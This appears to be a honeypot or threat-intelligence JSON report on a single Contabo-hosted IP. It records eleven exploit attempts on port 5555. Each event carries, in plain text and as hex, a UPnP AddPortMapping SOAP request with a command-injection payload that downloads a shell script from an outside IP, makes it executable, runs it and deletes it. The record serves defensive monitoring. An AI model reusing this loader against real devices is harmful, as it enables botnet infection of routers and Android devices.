{"ip":"213.136.72.253","total_events":11,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"11 loader / command-injection payload(s)","confidence":"high","network_type":"CDN","why":["11 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 9,416 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"9,416 bytes sent","bytes_sent":9416,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-23T15:21:46","last_seen":"2026-09-23T15:22:17","events_24h":11,"events_7d":11,"geo":{"country_code":"FR","country_name":"France","region":"Grand Est","city":"Lauterbourg","lat":48.9742,"lon":8.1851,"asn":51167,"org":"Contabo GmbH"},"source_domain":"vmi3580004.contaboserver.net","known_scanners":[],"scanner_tag":{"key":"contabo","label":"Contabo","category":"hosting_provider","url":"https://contabo.com/"},"cve_matches":[],"malware":[{"sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","family":"","vt_name":"android-cts-7.1_r6-linux_x86-arm.zip","malicious":0,"total":75,"vt_status":"known","delivery":"wget","url_path":"/UD/?9","dest_port":5555,"hits":5,"last_seen":"2026-09-23 15:21:46"}],"top_ports":[{"port":5555,"proto":"tcp","label":"","count":11}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["a11cun031_00000440_e62b6d85"]},"fingerprint_peers":{"a11cun031_00000440_e62b6d85":1},"akin_families":{},"user_agents":["r00ts3c-owned-you"],"timeline":[{"date":"2026-09-23","count":11}],"recent_events":[{"timestamp":"2026-09-23T15:22:17","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"content-type\":\"text/xml\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"r00ts3c-owned-you\"}","body":"47449TCP44382`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://212.60.5.149/adb.sh; chmod 777 adb.sh; sh adb.sh; rm adb.sh;`1syncthing0","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/UD/?9","summary":"","payload_hex":"504f5354202f55442f3f3920485454502f312e310d0a557365722d4167656e743a20723030747333632d6f776e65642d796f750d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373434393c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e603e2f746d702f2e65202626206364202f746d703b203e2f7661722f6465762f2e65202626206364202f7661722f6465763b207767657420687474703a2f2f3231322e36302e352e3134392f6164622e73683b2063686d6f6420373737206164622e73683b207368206164622e73683b20726d206164622e73683b603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"r00ts3c-owned-you","ja3":"","session":"d8d8218e-2702-4553-ab41-8acdd9fa3123","seq":1,"duration_ms":0,"bytes_in":856,"bytes_out":79},{"timestamp":"2026-09-23T15:22:17","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"content-type\":\"text/xml\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"r00ts3c-owned-you\"}","body":"47449TCP44382`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://212.60.5.149/adb.sh; chmod 777 adb.sh; sh adb.sh; rm adb.sh;`1syncthing0","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/UD/?9","summary":"","payload_hex":"504f5354202f55442f3f3920485454502f312e310d0a557365722d4167656e743a20723030747333632d6f776e65642d796f750d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373434393c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e603e2f746d702f2e65202626206364202f746d703b203e2f7661722f6465762f2e65202626206364202f7661722f6465763b207767657420687474703a2f2f3231322e36302e352e3134392f6164622e73683b2063686d6f6420373737206164622e73683b207368206164622e73683b20726d206164622e73683b603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"r00ts3c-owned-you","ja3":"","session":"d8d8218e-2702-4553-ab41-8acdd9fa3123","seq":1,"duration_ms":0,"bytes_in":856,"bytes_out":79},{"timestamp":"2026-09-23T15:22:01","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"content-type\":\"text/xml\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"r00ts3c-owned-you\"}","body":"47449TCP44382`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://212.60.5.149/adb.sh; chmod 777 adb.sh; sh adb.sh; rm adb.sh;`1syncthing0","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/UD/?9","summary":"","payload_hex":"504f5354202f55442f3f3920485454502f312e310d0a557365722d4167656e743a20723030747333632d6f776e65642d796f750d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373434393c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e603e2f746d702f2e65202626206364202f746d703b203e2f7661722f6465762f2e65202626206364202f7661722f6465763b207767657420687474703a2f2f3231322e36302e352e3134392f6164622e73683b2063686d6f6420373737206164622e73683b207368206164622e73683b20726d206164622e73683b603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"r00ts3c-owned-you","ja3":"","session":"76514809-9ab6-47d5-a2dc-3cfcdf0f9015","seq":1,"duration_ms":0,"bytes_in":856,"bytes_out":79},{"timestamp":"2026-09-23T15:21:52","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"content-type\":\"text/xml\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"r00ts3c-owned-you\"}","body":"47449TCP44382`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://212.60.5.149/adb.sh; chmod 777 adb.sh; sh adb.sh; rm adb.sh;`1syncthing0","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/UD/?9","summary":"","payload_hex":"504f5354202f55442f3f3920485454502f312e310d0a557365722d4167656e743a20723030747333632d6f776e65642d796f750d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373434393c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e603e2f746d702f2e65202626206364202f746d703b203e2f7661722f6465762f2e65202626206364202f7661722f6465763b207767657420687474703a2f2f3231322e36302e352e3134392f6164622e73683b2063686d6f6420373737206164622e73683b207368206164622e73683b20726d206164622e73683b603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"r00ts3c-owned-you","ja3":"","session":"7891c158-b255-4cf3-9b13-89400d5337b0","seq":1,"duration_ms":0,"bytes_in":856,"bytes_out":79},{"timestamp":"2026-09-23T15:21:52","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"content-type\":\"text/xml\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"r00ts3c-owned-you\"}","body":"47449TCP44382`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://212.60.5.149/adb.sh; chmod 777 adb.sh; sh adb.sh; rm adb.sh;`1syncthing0","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/UD/?9","summary":"","payload_hex":"504f5354202f55442f3f3920485454502f312e310d0a557365722d4167656e743a20723030747333632d6f776e65642d796f750d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373434393c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e603e2f746d702f2e65202626206364202f746d703b203e2f7661722f6465762f2e65202626206364202f7661722f6465763b207767657420687474703a2f2f3231322e36302e352e3134392f6164622e73683b2063686d6f6420373737206164622e73683b207368206164622e73683b20726d206164622e73683b603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"r00ts3c-owned-you","ja3":"","session":"7891c158-b255-4cf3-9b13-89400d5337b0","seq":1,"duration_ms":0,"bytes_in":856,"bytes_out":79},{"timestamp":"2026-09-23T15:21:48","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"content-type\":\"text/xml\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"r00ts3c-owned-you\"}","body":"47449TCP44382`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://212.60.5.149/adb.sh; chmod 777 adb.sh; sh adb.sh; rm adb.sh;`1syncthing0","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/UD/?9","summary":"","payload_hex":"504f5354202f55442f3f3920485454502f312e310d0a557365722d4167656e743a20723030747333632d6f776e65642d796f750d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373434393c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e603e2f746d702f2e65202626206364202f746d703b203e2f7661722f6465762f2e65202626206364202f7661722f6465763b207767657420687474703a2f2f3231322e36302e352e3134392f6164622e73683b2063686d6f6420373737206164622e73683b207368206164622e73683b20726d206164622e73683b603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"r00ts3c-owned-you","ja3":"","session":"deb41732-0a2d-4dd9-b22b-b50a3e4a18a2","seq":1,"duration_ms":0,"bytes_in":856,"bytes_out":79},{"timestamp":"2026-09-23T15:21:48","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"content-type\":\"text/xml\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"r00ts3c-owned-you\"}","body":"47449TCP44382`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://212.60.5.149/adb.sh; chmod 777 adb.sh; sh adb.sh; rm adb.sh;`1syncthing0","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/UD/?9","summary":"","payload_hex":"504f5354202f55442f3f3920485454502f312e310d0a557365722d4167656e743a20723030747333632d6f776e65642d796f750d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373434393c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e603e2f746d702f2e65202626206364202f746d703b203e2f7661722f6465762f2e65202626206364202f7661722f6465763b207767657420687474703a2f2f3231322e36302e352e3134392f6164622e73683b2063686d6f6420373737206164622e73683b207368206164622e73683b20726d206164622e73683b603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"r00ts3c-owned-you","ja3":"","session":"deb41732-0a2d-4dd9-b22b-b50a3e4a18a2","seq":1,"duration_ms":0,"bytes_in":856,"bytes_out":79},{"timestamp":"2026-09-23T15:21:47","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"content-type\":\"text/xml\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"r00ts3c-owned-you\"}","body":"47449TCP44382`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://212.60.5.149/adb.sh; chmod 777 adb.sh; sh adb.sh; rm adb.sh;`1syncthing0","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/UD/?9","summary":"","payload_hex":"504f5354202f55442f3f3920485454502f312e310d0a557365722d4167656e743a20723030747333632d6f776e65642d796f750d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373434393c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e603e2f746d702f2e65202626206364202f746d703b203e2f7661722f6465762f2e65202626206364202f7661722f6465763b207767657420687474703a2f2f3231322e36302e352e3134392f6164622e73683b2063686d6f6420373737206164622e73683b207368206164622e73683b20726d206164622e73683b603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"r00ts3c-owned-you","ja3":"","session":"558e6b6c-c27e-4f20-ab52-d772582f6227","seq":1,"duration_ms":0,"bytes_in":856,"bytes_out":79},{"timestamp":"2026-09-23T15:21:47","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"content-type\":\"text/xml\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"r00ts3c-owned-you\"}","body":"47449TCP44382`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://212.60.5.149/adb.sh; chmod 777 adb.sh; sh adb.sh; rm adb.sh;`1syncthing0","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/UD/?9","summary":"","payload_hex":"504f5354202f55442f3f3920485454502f312e310d0a557365722d4167656e743a20723030747333632d6f776e65642d796f750d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373434393c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e603e2f746d702f2e65202626206364202f746d703b203e2f7661722f6465762f2e65202626206364202f7661722f6465763b207767657420687474703a2f2f3231322e36302e352e3134392f6164622e73683b2063686d6f6420373737206164622e73683b207368206164622e73683b20726d206164622e73683b603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"r00ts3c-owned-you","ja3":"","session":"558e6b6c-c27e-4f20-ab52-d772582f6227","seq":1,"duration_ms":0,"bytes_in":856,"bytes_out":79},{"timestamp":"2026-09-23T15:21:46","port":5555,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"{\"content-type\":\"text/xml\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"r00ts3c-owned-you\"}","body":"47449TCP44382`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://212.60.5.149/adb.sh; chmod 777 adb.sh; sh adb.sh; rm adb.sh;`1syncthing0","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/UD/?9","summary":"","payload_hex":"504f5354202f55442f3f3920485454502f312e310d0a557365722d4167656e743a20723030747333632d6f776e65642d796f750d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373434393c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e603e2f746d702f2e65202626206364202f746d703b203e2f7661722f6465762f2e65202626206364202f7661722f6465763b207767657420687474703a2f2f3231322e36302e352e3134392f6164622e73683b2063686d6f6420373737206164622e73683b207368206164622e73683b20726d206164622e73683b603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"r00ts3c-owned-you","ja3":"","session":"7b83c107-3b02-494a-934a-0f43ba056ab4","seq":1,"duration_ms":0,"bytes_in":856,"bytes_out":79}],"http_methods":[{"method":"POST","count":11}],"distinct_ports_total":1,"top_paths":[{"path":"/UD/?9","count":11,"ports":1}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Content-Type","Soapaction","User-Agent"],"representative":[{"name":"Content-Type","value":"text/xml","notable":true},{"name":"Soapaction","value":"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping","notable":false},{"name":"User-Agent","value":"r00ts3c-owned-you","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[],"data_as_of":"2026-09-23T18:29:24.729331+00:00"}